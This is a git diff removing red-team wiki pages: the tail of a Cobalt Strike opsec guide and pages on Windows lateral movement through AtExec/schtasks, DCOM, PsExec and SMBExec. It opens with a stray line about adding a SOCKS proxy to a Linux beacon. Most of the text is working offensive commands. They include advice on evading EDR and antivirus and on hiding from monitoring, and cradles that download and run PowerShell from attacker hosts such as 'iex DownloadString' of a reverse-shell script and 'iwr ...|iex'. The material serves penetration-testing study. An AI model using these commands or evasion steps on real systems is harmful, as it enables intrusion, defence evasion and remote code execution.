-- Embed a SOCKS handler in the custom beacon to keep pivoting parity with Windows Beacons: when the operator runs `socks <port>` the implant should open a local proxy to route operator tooling through the compromised Linux host into internal networks.
-
-## Opsec
-
-### Execute-Assembly
-
-The **`execute-assembly`** uses a **sacrificial process** using remote process injection to execute the indicated program. This is very noisy as to inject inside a process certain Win APIs are used that every EDR is checking. However, there are some custom tools that can be used to load something in the same process:
-
-- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
-- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
-- In Cobalt Strike you can also use BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
-
-The agressor script `https://github.com/outflanknl/HelpColor` will create the `helpx` command in Cobalt Strike which will put colors in commands indicating if they are BOFs (green), if they are Frok&Run (yellow) and similar, or if they are ProcessExecution, injection or similar (red). Which helps to know which commands are more stealthy.
-
-### Act as the user
-
-You could check events like `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`: 
-
-- Security EID 4624 - Check all the interactive logons to know the usual operating hours.
-- System EID 12,13 - Check the shutdown/startup/sleep frequency.
-- Security EID 4624/4625 - Check inbound valid/invalid NTLM attempts.
-- Security EID 4648 - This event is created when plaintext credentials are used to logon. If a process generated it, the binary potentially has the credentials in clear text ina  config file or inside the code.
-
-When using `jump` from cobalt strike, it's better to use the `wmi_msbuild` method to make the new process look more legit.
-
-### Use computer accounts
-
-It's common for defenders to be checking weird behaviours generated from users abd **exclude service accounts and computer accounts like `*$` from their monitoring**. You could use these accounts to perform lateral movement or privilege escalation.
-
-### Use stageless payloads
-
-Stageless payloads are less noisy than staged ones because they don't need to download a second stage from the C2 server. This means that they don't generate any network traffic after the initial connection, making them less likely to be detected by network-based defenses.
-
-### Tokens & Token Store
-
-Be careful when you steal or generate tokens because it might be posisble for an EDR to enumerate all the tokens of all the threads and find a **token belonging to a different user** or even SYSTEM in the process.
-
-This allows to store tokens **per beacon** so it's not needed to steal the same token again and again. This is useful for lateral movement or when you need to use a stolen token multiple times:
-
-- token-store steal <pid>
-- token-store steal-and-use <pid>
-- token-store show
-- token-store use <id>
-- token-store remove <id>
-- token-store remove-all
-
-When moving laterally, usually is better to **steal a token than to generate a new one** or perform a pass the hash attack.
-
-### Guardrails
-
-Cobalt Strike has a feature called **Guardrails** that helps to prevent the use of certain commands or actions that could be detected by defenders. Guardrails can be configured to block specific commands, such as `make_token`, `jump`, `remote-exec`, and others that are commonly used for lateral movement or privilege escalation.
-
-Moreover, the repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) also contains some checks and ideas you could consider before executing a payload.
-
-### Tickets encryption
-
-In an AD be careful with the encryption of the tickets. By default, some tools will use RC4 encryption for Kerberos tickets, which is less secure than AES encryption and by default up to date environments will use AES. This can be detected by defenders who are monitoring for weak encryption algorithms.
-
-### Avoid Defaults
-
-When using Cobalt Stricke by default the SMB pipes will have the name `msagent_####` and `"status_####`. Change those names. It's possible to check the names of the existing pipes from Cobal Strike with the command: `ls \\.\pipe\`
-
-Moreover, with SSH sessions a pipe called `\\.\pipe\postex_ssh_####` is created. Chage it with `set ssh_pipename "<new_name>";`.
-
-Also in poext exploitation attack the pipes `\\.\pipe\postex_####` can be modified with `set pipename "<new_name>"`.
-
-In Cobalt Strike profiles you can also modify things like:
-
-- Avoiding using `rwx`
-- How the process injection behavior works (which APIs will be used) in the `process-inject {...}` block
-- How the "fork and run" works in the `post-ex {…}` block
-- The sleep time
-- The max size of binaries to be loaded in memory
-- The memory footprint and DLL content with `stage {...}` block
-- The network traffic
-
-### Bypass memory scanning
-
-Some ERDs scan memory for some know malware signatures. Coblat Strike allows to modify the `sleep_mask` function as a BOF that will be able to encrypt in memory the bacldoor.
-
-### Noisy proc injections
-
-When injecting code into a process this is usually very noisy, this is because **no regular process usually performs this action and because the ways to do this are very limited**. Tehrefore, it' could be detected by behaviour-based detection systems. Moroever, it could also be detected by EDRs scanning the network for **threads containing code that is not in disk** (although processes such as browsers using JIT have this commonly). Example: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
-
-### Spawnas | PID and PPID relationships
-
-When spawning a new process it's important to **maintain a regular parent-child** relationship between processes to avoid detection. If svchost.exec is executing iexplorer.exe it'll look suspicious, as svchost.exe is not a parent of iexplorer.exe in a normal Windows environment.
-
-When a new beacon is spawned in Cobalt Strike by default a process using **`rundll32.exe`** is created to run the new listener. This is not very stealthy and can be easily detected by EDRs. Moreover, `rundll32.exe` is run without any args making it even more suspicious.
-
-With the following Cobalt Strike command, you can specify a different process to spawn the new beacon, making it less detectable:
-
-```bash
-spawnto x86 svchost.exe
-```
-
-You can aso change this setting **`spawnto_x86` and `spawnto_x64`** in a profile.
-
-### Proxying attackers traffic
-
-Atters sometime will need to be able to run tools lically, even in linux machines and make the traffic of the victims reach the tool (e.g. NTLM relay).
-
-Moreover, sometimes to do a pass-the.hash or pass-the-ticket attack it's stealthier for the attacker to **add this hash or ticket in his own LSASS process** locally and then pivot from it instead of modifying an LSASS process of a victim machine.
-
-However, you need to be **careful with the generated traffic**, as you might be sending uncommon traffic (kerberos?) from your backdoor process. For this you could pivot to a browser process (although you could get caught injecting yourself into a process so think about a stealth way to do this).
-
-
-### Avoiding AVs
-
-#### AV/AMSI/ETW Bypass
-
-Check the page:
-
-
-{{#ref}}
-av-bypass.md
-{{#endref}}
-
-
-#### Artifact Kit
-
-Usually in `/opt/cobaltstrike/artifact-kit` you can find the code and pre-compiled templates (in `/src-common`) of the payloads that cobalt strike is going to use to generate the binary beacons.
-
-Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the generated backdoor (or just with the compiled template) you can find what is making defender trigger. It's usually a string. Therefore you can just modify the code that is generating the backdoor so that string doesn't appear in the final binary.
-
-After modifying the code just run `./build.sh` from the same directory and copy the `dist-pipe/` folder into the Windows client in `C:\Tools\cobaltstrike\ArtifactKit`.
-
-```
-pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
-```
-
-Don't forget to load the aggressive script `dist-pipe\artifact.cna` to indicate Cobalt Strike to use the resources from disk that we want and not the ones loaded.
-
-#### Resource Kit
-
-The ResourceKit folder contains the templates for Cobalt Strike's script-based payloads including PowerShell, VBA and HTA.
-
-Using [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) with the templates you can find what is defender (AMSI in this case) not liking and modify it:
-
-```
-.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
-```
-
-Modifying the detected lines one can generate a template that won't be caught.
-
-Don't forget to load the aggressive script `ResourceKit\resources.cna` to indicate Cobalt Strike to luse the resources from disk that we want and not the ones loaded.
-
-#### Function hooks | Syscall
-
-Function hooking is a very common method of ERDs to detect malicious activity. Cobalt Strike allows you to bypass these hooks by using **syscalls** instead of the standard Windows API calls using the **`None`** config, or use the `Nt*` version of a function with the **`Direct`** setting, or just jumping over the `Nt*` function with the **`Indirect`** option in the malleable profile. Depending on the system, an optino might be more stealth then the other.
-
-This can be set in the profile or suing the command **`syscall-method`**
-
- However, this could also be noisy.
-
-Some option granted by Cobalt Strike to bypass function hooks is to remove those hooks with: [**unhook-bof**](https://github.com/Cobalt-Strike/unhook-bof).
-
-You could also check with functions are hooked with [**https://github.com/Mr-Un1k0d3r/EDRs**](https://github.com/Mr-Un1k0d3r/EDRs) or [**https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector**](https://github.com/matterpreter/OffensiveCSharp/tree/master/HookDetector)
-
-
-
-
-<details>
-<summary>Misc Cobalt Strike commands</summary>
-
-```bash
-cd C:\Tools\neo4j\bin
-neo4j.bat console
-http://localhost:7474/ --> Change password
-execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL
-
-
-
-# Change powershell
-C:\Tools\cobaltstrike\ResourceKit
-template.x64.ps1
-# Change $var_code -> $polop
-# $x --> $ar
-cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna
-
-#artifact kit
-cd  C:\Tools\cobaltstrike\ArtifactKit
-pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
-
-
-```
-
-</details>
-
-## References
-
-- [Cobalt Strike Linux Beacon (custom implant PoC)](https://github.com/EricEsquivel/CobaltStrike-Linux-Beacon)
-- [TrustedSec ELFLoader & Linux BOFs](https://github.com/trustedsec/ELFLoader)
-- [Outflank nix BOF template](https://github.com/outflanknl/nix_bof_template)
-- [Unit42 analysis of Cobalt Strike metadata encryption](https://unit42.paloaltonetworks.com/cobalt-strike-metadata-encryption-decryption/)
-- [SANS ISC diary on Cobalt Strike traffic](https://isc.sans.edu/diary/27968)
-- [cs-decrypt-metadata-py](https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/)
-- [SentinelOne CobaltStrikeParser](https://github.com/Sentinel-One/CobaltStrikeParser)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md
deleted file mode 100644
index fff9f3cd8c2..00000000000
--- a/src/windows-hardening/lateral-movement/README.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# Lateral Movement
-
-{{#include ../../banners/hacktricks-training.md}}
-
-There are different different ways to execute commands in external systems, here you can find the explanations on how the main Windows lateral movements techniques work:
-
-- [**PsExec**](psexec-and-winexec.md)
-- [**SmbExec**](smbexec.md)
-- [**WmiExec**](wmiexec.md)
-- [**AtExec / SchtasksExec**](atexec.md)
-- [**WinRM**](winrm.md)
-- [**DCOM Exec**](dcom-exec.md)
-- [**RDPexec**](rdpexec.md)
-- [**SCMexec**](scmexec.md)
-- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
-- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
-- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/lateral-movement/atexec.md b/src/windows-hardening/lateral-movement/atexec.md
deleted file mode 100644
index 76fc693ae4c..00000000000
--- a/src/windows-hardening/lateral-movement/atexec.md
+++ /dev/null
@@ -1,48 +0,0 @@
-# AtExec / SchtasksExec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## How Does it works
-
-At allows to schedule tasks in hosts where you know username/(password/Hash). So, you can use it to execute commands in other hosts and get the output.
-
-```
-At \\victim 11:00:00PM shutdown -r
-```
-
-Using schtasks you need first to create the task and then call it:
-
-```bash
-schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
-schtasks /run /tn <TASK_NAME> /S <VICTIM>
-```
-
-```bash
-schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
-schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
-```
-
-You can use **Impacket's `atexec.py`** to execute commands on remote systems using the AT command. This requires valid credentials (username and password or hash) for the target system.
-
-```bash
-atexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' whoami
-```
-
-You can also use [SharpLateral](https://github.com/mertdas/SharpLateral):
-
-```bash
-SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
-```
-
-You can use [SharpMove](https://github.com/0xthirteen/SharpMove):
-
-```bash
-SharpMove.exe action=taskscheduler computername=remote.host.local command="C:\windows\temp\payload.exe" taskname=Debug amsi=true username=domain\\user password=password
-```
-
-More information about the [**use of schtasks with silver tickets here**](../active-directory-methodology/silver-ticket.md#host).
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/windows-hardening/lateral-movement/dcomexec.md b/src/windows-hardening/lateral-movement/dcomexec.md
deleted file mode 100644
index 579171cc065..00000000000
--- a/src/windows-hardening/lateral-movement/dcomexec.md
+++ /dev/null
@@ -1,217 +0,0 @@
-# DCOM Exec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-DCOM lateral movement is attractive because it reuses existing COM servers exposed over RPC/DCOM instead of creating a service or scheduled task. In practice this means the initial connection usually starts on TCP/135 and then moves to dynamically assigned high RPC ports.
-
-## Prerequisites & Gotchas
-
-- You usually need a local administrator context on the target and the remote COM server must allow remote launch/activation.
-- Since **March 14, 2023**, Microsoft enforces DCOM hardening for supported systems. Old clients that request a low activation authentication level can fail unless they negotiate at least `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`. Modern Windows clients are usually auto-raised, so current tooling normally keeps working.
-- Manual or scripted DCOM execution generally needs TCP/135 plus the target's dynamic RPC port range. If you are using Impacket's `dcomexec.py` and you want command output back, you usually also need SMB access to `ADMIN$` (or another writable/readable share).
-- If RPC/DCOM works but SMB is blocked, `dcomexec.py -nooutput` can still be useful for blind execution.
-
-Quick checks:
-
-```bash
-# Enumerate registered DCOM applications
-Get-CimInstance Win32_DCOMApplication | Select-Object AppID, Name
-
-# Useful to inspect firewall/RPC issues
-Test-NetConnection -ComputerName 10.10.10.10 -Port 135
-```
-
-## MMC20.Application
-
-**For more info about this technique chech the original post from [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
-
-Distributed Component Object Model (DCOM) objects present an interesting capability for network-based interactions with objects. Microsoft provides comprehensive documentation for both DCOM and Component Object Model (COM), accessible [here for DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) and [here for COM](<https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363(v=vs.85).aspx>). A list of DCOM applications can be retrieved using the PowerShell command:
-
-```bash
-Get-CimInstance Win32_DCOMApplication
-```
-
-The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), enables scripting of MMC snap-in operations. Notably, this object contains a `ExecuteShellCommand` method under `Document.ActiveView`. More information about this method can be found [here](<https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx>). Check it running:
-
-This feature facilitates the execution of commands over a network through a DCOM application. To interact with DCOM remotely as an admin, PowerShell can be utilized as follows:
-
-```bash
-[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
-```
-
-This command connects to the DCOM application and returns an instance of the COM object. The ExecuteShellCommand method can then be invoked to execute a process on the remote host. The process involves the following steps:
-
-Check methods:
-
-```bash
-$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
-$com.Document.ActiveView | Get-Member
-```
-
-Get RCE:
-
-```bash
-$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
-$com.Document.ActiveView.ExecuteShellCommand(
-    "cmd.exe",
-    $null,
-    "/c powershell -NoP -W Hidden -Enc <B64>",
-    "7"
-)
-```
-
-The last argument is the window style. `7` keeps the window minimized. Operationally, MMC-based execution commonly leads to a remote `mmc.exe` process spawning your payload, which is different from the Explorer-backed objects below.
-
-## ShellWindows & ShellBrowserWindow
-
-**For more info about this technique check the original post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
-
-The **MMC20.Application** object was identified to lack explicit "LaunchPermissions," defaulting to permissions that permit Administrators access. For further details, a thread can be explored [here](https://twitter.com/tiraniddo/status/817532039771525120), and the usage of [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET for filtering objects without explicit Launch Permission is recommended.
-
-Two specific objects, `ShellBrowserWindow` and `ShellWindows`, were highlighted due to their lack of explicit Launch Permissions. The absence of a `LaunchPermission` registry entry under `HKCR:\AppID\{guid}` signifies no explicit permissions.
-
-Compared with `MMC20.Application`, these objects are often quieter from an OPSEC perspective because the command commonly ends up as a child of `explorer.exe` on the remote host instead of `mmc.exe`.
-
-### ShellWindows
-
-For `ShellWindows`, which lacks a ProgID, the .NET methods `Type.GetTypeFromCLSID` and `Activator.CreateInstance` facilitate object instantiation using its AppID. This process leverages OleView .NET to retrieve the CLSID for `ShellWindows`. Once instantiated, interaction is possible through the `WindowsShell.Item` method, leading to method invocation like `Document.Application.ShellExecute`.
-
-Example PowerShell commands were provided to instantiate the object and execute commands remotely:
-
-```bash
-# Example
-$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
-$obj = [System.Activator]::CreateInstance($com)
-$item = $obj.Item()
-$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
-```
-
-### ShellBrowserWindow
-
-`ShellBrowserWindow` is similar, but you can instantiate it directly via its CLSID and pivot to `Document.Application.ShellExecute`:
-
-```bash
-$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "10.10.10.10")
-$obj = [System.Activator]::CreateInstance($com)
-$obj.Document.Application.ShellExecute(
-    "cmd.exe",
-    "/c whoami > C:\\Windows\\Temp\\dcom.txt",
-    "C:\\Windows\\System32",
-    $null,
-    0
-)
-```
-
-### Lateral Movement with Excel DCOM Objects
-
-Lateral movement can be achieved by exploiting DCOM Excel objects. For detailed information, it's advisable to read the discussion on leveraging Excel DDE for lateral movement via DCOM at [Cybereason's blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
-
-The Empire project provides a PowerShell script, which demonstrates the utilization of Excel for remote code execution (RCE) by manipulating DCOM objects. Below are snippets from the script available on [Empire's GitHub repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), showcasing different methods to abuse Excel for RCE:
-
-```bash
-# Detection of Office version
-elseif ($Method -Match "DetectOffice") {
-    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
-    $Obj = [System.Activator]::CreateInstance($Com)
-    $isx64 = [boolean]$obj.Application.ProductCode[21]
-    Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
-}
-# Registration of an XLL
-elseif ($Method -Match "RegisterXLL") {
-    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
-    $Obj = [System.Activator]::CreateInstance($Com)
-    $obj.Application.RegisterXLL("$DllPath")
-}
-# Execution of a command via Excel DDE
-elseif ($Method -Match "ExcelDDE") {
-    $Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
-    $Obj = [System.Activator]::CreateInstance($Com)
-    $Obj.DisplayAlerts = $false
-    $Obj.DDEInitiate("cmd", "/c $Command")
-}
-```
-
-Recent research expanded this area with `Excel.Application`'s `ActivateMicrosoftApp()` method. The key idea is that Excel can try to launch legacy Microsoft applications such as FoxPro, Schedule Plus, or Project by searching the system `PATH`. If an operator can place a payload with one of those expected names in a writable location that is part of the target's `PATH`, Excel will execute it.
-
-Requirements for this variation:
-
-- Local admin on the target
-- Excel installed on the target
-- Ability to write a payload to a writable directory in the target's `PATH`
-
-Practical example abusing the FoxPro lookup (`FOXPROW.exe`):
-
-```bash
-copy C:\Windows\System32\calc.exe \\192.168.52.100\c$\Users\victim\AppData\Local\Microsoft\WindowsApps\FOXPROW.exe
-$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.52.100"))
-$com.ActivateMicrosoftApp("5")
-```
-
-If the attacking host does not have the local `Excel.Application` ProgID registered, instantiate the remote object by CLSID instead:
-
-```bash
-$com = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("00020812-0000-0000-C000-000000000046", "192.168.52.100"))
-$com.Application.ActivateMicrosoftApp("5")
-```
-
-Values seen abused in practice:
-
-- `5` -> `FOXPROW.exe`
-- `6` -> `WINPROJ.exe`
-- `7` -> `SCHDPLUS.exe`
-
-### Automation Tools for Lateral Movement
-
-Two tools are highlighted for automating these techniques:
-
-- **Invoke-DCOM.ps1**: A PowerShell script provided by the Empire project that simplifies the invocation of different methods for executing code on remote machines. This script is accessible at the Empire GitHub repository.
-
-- **SharpLateral**: A tool designed for executing code remotely, which can be used with the command:
-
-```bash
-SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
-```
-
-- [SharpMove](https://github.com/0xthirteen/SharpMove):
-
-```bash
-SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
-```
-
-## Automatic Tools
-
-- The Powershell script [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) allows to easily invoke all the commented ways to execute code in other machines.
-- You can use Impacket's `dcomexec.py` to execute commands on remote systems using DCOM. Current builds support `ShellWindows`, `ShellBrowserWindow`, and `MMC20`, and default to `ShellWindows`.
-
-```bash
-dcomexec.py 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
-
-# Pick the object explicitly
-dcomexec.py -object MMC20 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c whoami"
-
-# Blind execution when SMB/output retrieval is not available
-dcomexec.py -object ShellBrowserWindow -nooutput 'DOMAIN'/'USER':'PASSWORD'@'target_ip' "cmd.exe /c calc.exe"
-```
-
-- You could also use [**SharpLateral**](https://github.com/mertdas/SharpLateral):
-
-```bash
-SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
-```
-
-- You could also use [**SharpMove**](https://github.com/0xthirteen/SharpMove)
-
-```bash
-SharpMove.exe action=dcom computername=remote.host.local command="C:\windows\temp\payload.exe\" method=ShellBrowserWindow amsi=true
-```
-
-## References
-
-- [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
-- [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
-- [https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c](https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c)
-- [https://specterops.io/blog/2023/10/30/lateral-movement-abuse-the-power-of-dcom-excel-application/](https://specterops.io/blog/2023/10/30/lateral-movement-abuse-the-power-of-dcom-excel-application/)
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md
deleted file mode 100644
index b28d21ebe54..00000000000
--- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md
+++ /dev/null
@@ -1,171 +0,0 @@
-# PsExec/Winexec/ScExec/SMBExec
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## How do they work
-
-These techniques abuse the Windows Service Control Manager (SCM) remotely over SMB/RPC to execute commands on a target host. The common flow is:
-
-1. Authenticate to the target and access the ADMIN$ share over SMB (TCP/445).
-2. Copy an executable or specify a LOLBAS command line that the service will run.
-3. Create a service remotely via SCM (MS-SCMR over \PIPE\svcctl) pointing to that command or binary.
-4. Start the service to execute the payload and optionally capture stdin/stdout via a named pipe.
-5. Stop the service and clean up (delete the service and any dropped binaries).
-
-Requirements/prereqs:
-- Local Administrator on the target (SeCreateServicePrivilege) or explicit service creation rights on the target.
-- SMB (445) reachable and ADMIN$ share available; Remote Service Management allowed through host firewall.
-- UAC Remote Restrictions: with local accounts, token filtering may block admin over the network unless using the built-in Administrator or LocalAccountTokenFilterPolicy=1.
-- Kerberos vs NTLM: using a hostname/FQDN enables Kerberos; connecting by IP often falls back to NTLM (and may be blocked in hardened environments).
-
-### Manual ScExec/WinExec via sc.exe
-
-The following shows a minimal service-creation approach. The service image can be a dropped EXE or a LOLBAS like cmd.exe or powershell.exe.
-
-```cmd
-:: Execute a one-liner without dropping a binary
-sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
-sc.exe \\TARGET start HTSvc
-sc.exe \\TARGET delete HTSvc
-
-:: Drop a payload to ADMIN$ and execute it (example path)
-copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
-sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
-sc.exe \\TARGET start HTSvc
-sc.exe \\TARGET delete HTSvc
-```
-
-Notes:
-- Expect a timeout error when starting a non-service EXE; execution still happens.
-- To remain more OPSEC-friendly, prefer fileless commands (cmd /c, powershell -enc) or delete dropped artifacts.
-
-Find more detailed steps in: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
-
-## Tooling and examples
-
-### Sysinternals PsExec.exe
-
-- Classic admin tool that uses SMB to drop PSEXESVC.exe in ADMIN$, installs a temporary service (default name PSEXESVC), and proxies I/O over named pipes.
-- Example usages:
-
-```cmd
-:: Interactive SYSTEM shell on remote host
-PsExec64.exe -accepteula \\HOST -s -i cmd.exe
-
-:: Run a command as a specific domain user
-PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
-
-:: Customize the service name for OPSEC (-r)
-PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
-```
-
-- You can launch directly from Sysinternals Live via WebDAV:
-
-```cmd
-\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
-```
-
-OPSEC
-- Leaves service install/uninstall events (Service name often PSEXESVC unless -r is used) and creates C:\Windows\PSEXESVC.exe during execution.
-
-### Impacket psexec.py (PsExec-like)
-
-- Uses an embedded RemCom-like service. Drops a transient service binary (commonly randomized name) via ADMIN$, creates a service (default often RemComSvc), and proxies I/O over a named pipe.
-
-```bash
-# Password auth
-psexec.py DOMAIN/user:Password@HOST cmd.exe
-
-# Pass-the-Hash
-psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
-
-# Kerberos (use tickets in KRB5CCNAME)
-psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
-
-# Change service name and output encoding
-psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
-```
-
-Artifacts
-- Temporary EXE in C:\Windows\ (random 8 chars). Service name defaults to RemComSvc unless overridden.
-
-### Impacket smbexec.py (SMBExec)
-
-- Creates a temporary service that spawns cmd.exe and uses a named pipe for I/O. Generally avoids dropping a full EXE payload; command execution is semi-interactive.
-
-```bash
-smbexec.py DOMAIN/user:Password@HOST
-smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
-```
-
-### SharpLateral and SharpMove
-
-- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) implements several lateral movement methods including service-based exec.
-
-```cmd
-SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
-```
-
-- [SharpMove](https://github.com/0xthirteen/SharpMove) includes service modification/creation to execute a command remotely.
-
-```cmd
-SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
-SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
-```
-
-- You can also use CrackMapExec to execute via different backends (psexec/smbexec/wmiexec):
-
-```bash
-cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
-cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
-```
-
-## OPSEC, detection and artifacts
-
-Typical host/network artifacts when using PsExec-like techniques:
-- Security 4624 (Logon Type 3) and 4672 (Special Privileges) on target for the admin account used.
-- Security 5140/5145 File Share and File Share Detailed events showing ADMIN$ access and create/write of service binaries (e.g., PSEXESVC.exe or random 8-char .exe).
-- Security 7045 Service Install on target: service names like PSEXESVC, RemComSvc, or custom (-r / -service-name).
-- Sysmon 1 (Process Create) for services.exe or the service image, 3 (Network Connect), 11 (File Create) in C:\Windows\, 17/18 (Pipe Created/Connected) for pipes such as \\.\pipe\psexesvc, \\.\pipe\remcom_*, or randomized equivalents.
-- Registry artifact for Sysinternals EULA: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 on the operator host (if not suppressed).
-
-Hunting ideas
-- Alert on service installs where the ImagePath includes cmd.exe /c, powershell.exe, or TEMP locations.
-- Look for process creations where ParentImage is C:\Windows\PSEXESVC.exe or children of services.exe running as LOCAL SYSTEM executing shells.
-- Flag named pipes ending with -stdin/-stdout/-stderr or well-known PsExec clone pipe names.
-
-## Troubleshooting common failures
-- Access is denied (5) when creating services: not truly local admin, UAC remote restrictions for local accounts, or EDR tampering protection on the service binary path.
-- The network path was not found (53) or could not connect to ADMIN$: firewall blocking SMB/RPC or admin shares disabled.
-- Kerberos fails but NTLM is blocked: connect using hostname/FQDN (not IP), ensure proper SPNs, or supply -k/-no-pass with tickets when using Impacket.
-- Service start times out but payload ran: expected if not a real service binary; capture output to a file or use smbexec for live I/O.
-
-## Hardening notes
